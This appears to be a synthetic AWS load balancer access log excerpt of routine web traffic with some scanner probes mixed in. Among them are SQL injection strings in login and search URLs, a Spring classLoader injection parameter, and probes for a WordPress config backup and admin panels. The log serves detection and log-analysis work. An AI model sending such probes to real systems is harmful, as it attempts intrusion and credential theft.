10 2024-11-01T02:27:59.381404Z "forward" "-" "-" "0.175.224.147:443" "200" "-" "-" -https 2024-11-01T02:27:59.639576Z prod-api-alb 27.83.239.52:29135 10.0.18.51:443 0.049854 0.355413 0.022591 301 301 160 7202 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da3f-9e3cfc183873497ab68a1aa9" "prod-api-alb.example.com" "-" 8 2024-11-01T02:27:59.639576Z "forward" "-" "-" "10.0.18.51:443" "301" "-" "-" -https 2024-11-01T02:28:00.118661Z prod-web-alb 88.48.22.185:35017 10.0.232.62:443 0.023489 0.314668 0.003706 200 200 694 8035 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da40-d543f68443f541379023d8f2" "prod-web-alb.example.com" "-" 2 2024-11-01T02:28:00.118661Z "forward" "-" "-" "10.0.232.62:443" "200" "-" "-" -https 2024-11-01T02:28:00.757577Z staging-alb 149.218.73.66:25784 154.208.160.84:8080 0.020965 0.149868 0.129447 200 200 784 14068 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da40-dd9dc953f1da4272b1e46fff" "staging-alb.example.com" "-" 1 2024-11-01T02:28:00.757577Z "forward" "-" "-" "154.208.160.84:8080" "200" "-" "-" -https 2024-11-01T02:28:02.217665Z prod-api-alb 50.56.235.178:56762 10.0.17.89:443 0.041006 0.158648 0.099113 404 404 107 8825 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da42-1b25c07ba1f041b5b297a1e4" "prod-api-alb.example.com" "-" 0 2024-11-01T02:28:02.217665Z "forward" "-" "-" "10.0.17.89:443" "404" "-" "-" -https 2024-11-01T02:28:03.359367Z staging-alb 14.175.247.214:36960 238.185.131.98:8080 0.039673 0.712761 0.014621 200 200 192 10801 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da43-ad50c6414a7a4672b10e2c30" "staging-alb.example.com" "-" 5 2024-11-01T02:28:03.359367Z "forward" "-" "-" "238.185.131.98:8080" "200" "-" "-" -https 2024-11-01T02:28:04.894390Z staging-alb 228.59.176.222:10855 48.170.92.93:443 0.057276 0.122961 0.051917 301 301 920 3213 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da44-cbe9849d56024643991a62bb" "staging-alb.example.com" "-" 6 2024-11-01T02:28:04.894390Z "forward" "-" "-" "48.170.92.93:443" "301" "-" "-" -http 2024-11-01T02:28:06.365048Z staging-alb 3.181.101.80:23992 56.92.109.68:8080 0.071084 0.443951 0.004166 200 200 296 9800 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da46-d20a65554af74e46ada06058" "staging-alb.example.com" "-" 3 2024-11-01T02:28:06.365048Z "forward" "-" "-" "56.92.109.68:8080" "200" "-" "-" -https 2024-11-01T02:28:06.553078Z prod-web-alb 125.112.49.83:44944 10.0.215.241:443 0.002991 0.065884 0.081179 200 200 292 3007 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da46-d4c9afc0a37044afb4c5ca1c" "prod-web-alb.example.com" "-" 7 2024-11-01T02:28:06.553078Z "forward" "-" "-" "10.0.215.241:443" "200" "-" "-" -https 2024-11-01T02:28:07.961216Z prod-web-alb 193.27.228.161:60967 10.0.20.63:443 0.008125 0.407174 0.079907 301 301 238 11966 "POST /adminer.php HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da47-f1e1752db6a848cfa709b912" "-" "-" 3 2024-11-01T02:28:07.961216Z "forward" "-" "-" "10.0.20.63:443" "301" "-" "-" -https 2024-11-01T02:28:08.403070Z prod-api-alb 171.46.137.118:30961 10.0.65.220:443 0.092035 0.434343 0.011711 301 301 525 12143 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da48-5e1efbfa5b6e477c998969a8" "prod-api-alb.example.com" "-" 2 2024-11-01T02:28:08.403070Z "forward" "-" "-" "10.0.65.220:443" "301" "-" "-" -http 2024-11-01T02:28:09.977791Z staging-alb 138.22.53.35:64468 109.81.38.213:80 0.131399 0.125681 0.139057 200 200 697 4476 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da49-dc32086771754f64b7921d3a" "staging-alb.example.com" "-" 4 2024-11-01T02:28:09.977791Z "forward" "-" "-" "109.81.38.213:80" "200" "-" "-" -http 2024-11-01T02:28:11.907368Z staging-alb 235.171.110.58:23186 250.8.112.174:8080 0.144591 0.430490 0.030875 404 404 871 10641 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da4b-abd47d868ee8433699dfb185" "staging-alb.example.com" "-" 6 2024-11-01T02:28:11.907368Z "forward" "-" "-" "250.8.112.174:8080" "404" "-" "-" -https 2024-11-01T02:28:12.511768Z prod-api-alb 235.92.20.39:29010 10.0.141.188:443 0.002092 0.109791 0.008110 302 302 760 6926 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da4c-113a169e8a9c4ac2977194f3" "prod-api-alb.example.com" "-" 9 2024-11-01T02:28:12.511768Z "forward" "-" "-" "10.0.141.188:443" "302" "-" "-" -https 2024-11-01T02:28:14.390945Z prod-web-alb 185.181.187.26:30202 10.0.186.49:443 0.068980 0.061875 0.040670 302 302 761 7254 "GET /wp-config.php.bak HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da4e-535bc00762554dcf939a2b03" "-" "-" 5 2024-11-01T02:28:14.390945Z "forward" "-" "-" "10.0.186.49:443" "302" "-" "-" -https 2024-11-01T02:28:14.961519Z prod-api-alb 1.181.1.153:28190 10.0.245.89:443 0.037920 0.032571 0.038068 200 200 666 11523 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da4e-69342d54650f4327a8b9d7ec" "prod-api-alb.example.com" "-" 4 2024-11-01T02:28:14.961519Z "forward" "-" "-" "10.0.245.89:443" "200" "-" "-" -https 2024-11-01T02:28:16.022318Z prod-web-alb 49.85.8.5:46090 10.0.37.78:443 0.016390 0.298847 0.027093 301 301 615 9185 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da50-4b8f397145f1464cb39f6f05" "prod-web-alb.example.com" "-" 9 2024-11-01T02:28:16.022318Z "forward" "-" "-" "10.0.37.78:443" "301" "-" "-" -http 2024-11-01T02:28:16.792294Z staging-alb 54.133.213.163:21616 6.163.37.143:443 0.086016 0.125472 0.147422 301 301 686 12223 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da50-7a736052e89f43779c62940c" "staging-alb.example.com" "-" 7 2024-11-01T02:28:16.792294Z "forward" "-" "-" "6.163.37.143:443" "301" "-" "-" -https 2024-11-01T02:28:17.802402Z prod-api-alb 163.177.92.83:43587 10.0.40.20:443 0.000014 0.202121 0.087939 200 200 309 6470 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da51-ca162f4b22594862be1fc171" "prod-api-alb.example.com" "-" 9 2024-11-01T02:28:17.802402Z "forward" "-" "-" "10.0.40.20:443" "200" "-" "-" -http 2024-11-01T02:28:18.343570Z staging-alb 141.166.251.239:29595 182.156.238.168:8080 0.146337 0.247385 0.002151 404 404 527 6505 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da52-3ef7a17d36dd48a890c23467" "staging-alb.example.com" "-" 4 2024-11-01T02:28:18.343570Z "forward" "-" "-" "182.156.238.168:8080" "404" "-" "-" -http 2024-11-01T02:28:18.477516Z staging-alb 102.202.250.0:26243 48.110.62.242:443 0.112828 0.080780 0.058122 302 302 212 4738 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da52-9e0aa57165644b0e903976c9" "staging-alb.example.com" "-" 8 2024-11-01T02:28:18.477516Z "forward" "-" "-" "48.110.62.242:443" "302" "-" "-" -https 2024-11-01T02:28:20.301879Z prod-api-alb 125.118.18.159:28981 10.0.49.201:443 0.027065 0.321226 0.012255 200 200 458 4860 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da54-6e04e87cb685451aade50db7" "prod-api-alb.example.com" "-" 1 2024-11-01T02:28:20.301879Z "forward" "-" "-" "10.0.49.201:443" "200" "-" "-" -http 2024-11-01T02:28:21.437402Z staging-alb 113.112.106.155:53825 143.73.35.39:8080 0.095859 0.580125 0.109656 200 200 712 3720 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da55-7b5e878b777241a2ba78fbac" "staging-alb.example.com" "-" 8 2024-11-01T02:28:21.437402Z "forward" "-" "-" "143.73.35.39:8080" "200" "-" "-" -http 2024-11-01T02:28:22.861100Z staging-alb 69.104.122.120:61309 43.192.24.183:443 0.060168 0.292651 0.036661 200 200 307 12132 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da56-2169d04f4af0487a955fa4e8" "staging-alb.example.com" "-" 2 2024-11-01T02:28:22.861100Z "forward" "-" "-" "43.192.24.183:443" "200" "-" "-" -https 2024-11-01T02:28:24.302968Z prod-web-alb 122.45.241.212:12508 10.0.141.218:443 0.046270 0.121944 0.080334 200 200 633 8465 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da58-3b321e543b6b43eebe378a61" "prod-web-alb.example.com" "-" 10 2024-11-01T02:28:24.302968Z "forward" "-" "-" "10.0.141.218:443" "200" "-" "-" -https 2024-11-01T02:28:24.519506Z prod-api-alb 21.43.150.18:55176 10.0.16.42:443 0.064676 0.108870 0.007655 404 404 504 8734 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da58-7d1d99b77af648fd91040a1c" "prod-api-alb.example.com" "-" 5 2024-11-01T02:28:24.519506Z "forward" "-" "-" "10.0.16.42:443" "404" "-" "-" -https 2024-11-01T02:28:24.755862Z staging-alb 122.145.27.229:12012 175.113.220.204:443 0.146579 0.237985 0.017696 301 301 463 4332 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da58-3ff49631745f427fa0a63471" "staging-alb.example.com" "-" 8 2024-11-01T02:28:24.755862Z "forward" "-" "-" "175.113.220.204:443" "301" "-" "-" -https 2024-11-01T02:28:25.940715Z prod-api-alb 225.186.222.177:58099 10.0.211.132:443 0.023224 0.013171 0.053841 404 404 759 12742 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da59-2a644e03c60248adb3661a15" "prod-api-alb.example.com" "-" 0 2024-11-01T02:28:25.940715Z "forward" "-" "-" "10.0.211.132:443" "404" "-" "-" -https 2024-11-01T02:28:27.441278Z prod-web-alb 171.59.30.173:61888 10.0.159.215:443 0.097825 0.187751 0.029671 302 302 535 4410 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da5b-5423b52a57a0463ba1ca17a6" "-" "-" 5 2024-11-01T02:28:27.441278Z "forward" "-" "-" "10.0.159.215:443" "302" "-" "-" -http 2024-11-01T02:28:27.887156Z staging-alb 185.203.163.63:41982 24.120.212.88:8080 0.025960 0.675328 0.094110 301 301 276 544 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da5b-c2c8caa8ed6b4f4f81bde434" "staging-alb.example.com" "-" 4 2024-11-01T02:28:27.887156Z "forward" "-" "-" "24.120.212.88:8080" "301" "-" "-" -https 2024-11-01T02:28:28.703000Z prod-web-alb 221.202.25.12:34436 10.0.33.169:443 0.010646 0.253102 0.004218 301 301 717 13329 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da5c-e6bc18711ea64697b17244df" "prod-web-alb.example.com" "-" 6 2024-11-01T02:28:28.703000Z "forward" "-" "-" "10.0.33.169:443" "301" "-" "-" -https 2024-11-01T02:28:29.393050Z prod-api-alb 56.69.1.104:35340 10.0.89.42:443 0.015300 0.091604 0.067421 404 404 429 10648 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da5d-4b572ad9abf342789536be18" "prod-api-alb.example.com" "-" 3 2024-11-01T02:28:29.393050Z "forward" "-" "-" "10.0.89.42:443" "404" "-" "-" -https 2024-11-01T02:28:31.282522Z staging-alb 33.94.0.159:22518 193.91.47.83:8080 0.125628 0.319796 0.104447 200 200 158 3179 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da5f-f4297999e1a4473db232e252" "staging-alb.example.com" "-" 9 2024-11-01T02:28:31.282522Z "forward" "-" "-" "193.91.47.83:8080" "200" "-" "-" -https 2024-11-01T02:28:32.183274Z prod-api-alb 114.11.222.196:17772 10.0.66.58:443 0.011782 0.205276 0.008939 301 301 804 4496 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da60-750d4c20799a4361b8338a92" "prod-api-alb.example.com" "-" 6 2024-11-01T02:28:32.183274Z "forward" "-" "-" "10.0.66.58:443" "301" "-" "-" -https 2024-11-01T02:28:34.046831Z prod-api-alb 193.27.228.128:17944 10.0.70.119:443 0.016683 0.433132 0.064644 200 200 978 6874 "POST /login?id=1'-- HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da62-26afafce4772488b942b9840" "-" "-" 7 2024-11-01T02:28:34.046831Z "forward" "-" "-" "10.0.70.119:443" "200" "-" "-" -http 2024-11-01T02:28:35.528510Z staging-alb 27.57.163.6:39248 129.178.27.183:8080 0.017219 0.001500 0.073737 200 200 611 8491 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da63-7aa87e046e0444b0a8b5fd55" "staging-alb.example.com" "-" 1 2024-11-01T02:28:35.528510Z "forward" "-" "-" "129.178.27.183:8080" "200" "-" "-" -https 2024-11-01T02:28:36.230120Z prod-api-alb 193.27.228.254:25757 10.0.199.30:443 0.084998 0.263249 0.024442 403 403 945 4223 "GET /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da64-b8c4995e413b435188637a27" "-" "-" 8 2024-11-01T02:28:36.230120Z "forward" "-" "-" "10.0.199.30:443" "403" "-" "-" -https 2024-11-01T02:28:37.946506Z prod-api-alb 136.165.95.97:24095 10.0.146.14:443 0.098801 0.171740 0.043414 200 200 773 2817 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da65-7597b2f8f8264fca88f2ab20" "prod-api-alb.example.com" "-" 5 2024-11-01T02:28:37.946506Z "forward" "-" "-" "10.0.146.14:443" "200" "-" "-" -https 2024-11-01T02:28:39.588648Z prod-api-alb 114.189.117.238:60672 10.0.27.181:443 0.003384 0.225463 0.018632 200 200 445 1506 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da67-c0fd26f1315a484886ba5a28" "prod-api-alb.example.com" "-" 10 2024-11-01T02:28:39.588648Z "forward" "-" "-" "10.0.27.181:443" "200" "-" "-" -https 2024-11-01T02:28:40.856161Z prod-api-alb 48.225.91.134:10979 10.0.210.52:443 0.081171 0.085613 0.075679 200 200 198 7189 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da68-f506d731b7ee4f9d8a70d5b2" "prod-api-alb.example.com" "-" 4 2024-11-01T02:28:40.856161Z "forward" "-" "-" "10.0.210.52:443" "200" "-" "-" -https 2024-11-01T02:28:42.599015Z staging-alb 185.181.129.31:32743 113.222.70.198:443 0.066514 0.041852 0.045090 200 200 546 11591 "GET /search?q=1' UNION SELECT HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da6a-92fb41bbf8794ebd9f874dc9" "-" "-" 8 2024-11-01T02:28:42.599015Z "forward" "-" "-" "113.222.70.198:443" "200" "-" "-" -https 2024-11-01T02:28:43.855085Z prod-web-alb 181.40.157.127:27381 10.0.16.255:443 0.053331 0.242007 0.005853 200 200 466 1219 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da6b-b00067cf736b4a40be7c367c" "prod-web-alb.example.com" "-" 1 2024-11-01T02:28:43.855085Z "forward" "-" "-" "10.0.16.255:443" "200" "-" "-" -https 2024-11-01T02:28:44.286672Z prod-web-alb 184.88.171.198:43211 10.0.61.73:443 0.079183 0.007696 0.072724 200 200 519 5860 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da6c-ee479bb5b207484998152da4" "prod-web-alb.example.com" "-" 8 2024-11-01T02:28:44.286672Z "forward" "-" "-" "10.0.61.73:443" "200" "-" "-" -https 2024-11-01T02:28:45.838824Z prod-api-alb 147.126.235.160:41758 10.0.137.16:443 0.073349 0.125400 0.056652 200 200 470 12432 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da6d-b3c001ba74ed4fa3b37c474e" "prod-api-alb.example.com" "-" 9 2024-11-01T02:28:45.838824Z "forward" "-" "-" "10.0.137.16:443" "200" "-" "-" -https 2024-11-01T02:28:46.768507Z prod-api-alb 185.247.16.159:43791 10.0.227.134:443 0.019510 0.134281 0.039998 200 200 400 10365 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da6e-53876f9fcb5b4d3381d78872" "prod-api-alb.example.com" "-" 4 2024-11-01T02:28:46.768507Z "forward" "-" "-" "10.0.227.134:443" "200" "-" "-" -https 2024-11-01T02:28:47.309636Z staging-alb 45.155.205.208:60325 85.95.246.167:8080 0.014352 0.296272 0.014821 401 401 127 11244 "POST /phpmyadmin HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da6f-28be85d7ee944ebead1a1314" "-" "-" 6 2024-11-01T02:28:47.309636Z "forward" "-" "-" "85.95.246.167:8080" "401" "-" "-" -http 2024-11-01T02:28:48.781005Z staging-alb 72.151.202.148:26830 27.142.248.191:80 0.140314 0.056614 0.079812 200 200 234 12360 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da70-95143fef93104d03bc4bd5b1" "staging-alb.example.com" "-" 8 2024-11-01T02:28:48.781005Z "forward" "-" "-" "27.142.248.191:80" "200" "-" "-" -https 2024-11-01T02:28:50.738416Z prod-api-alb 213.83.133.55:30541 10.0.90.170:443 0.004098 0.499989 0.007237 404 404 957 3441 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da72-ec9000fb0afe4f69be9f1e4b" "prod-api-alb.example.com" "-" 9 2024-11-01T02:28:50.738416Z "forward" "-" "-" "10.0.90.170:443" "404" "-" "-" -https 2024-11-01T02:28:51.067913Z prod-web-alb 185.181.47.127:41119 10.0.10.225:443 0.079559 0.349007 0.082993 301 301 358 367 "POST /wp-admin 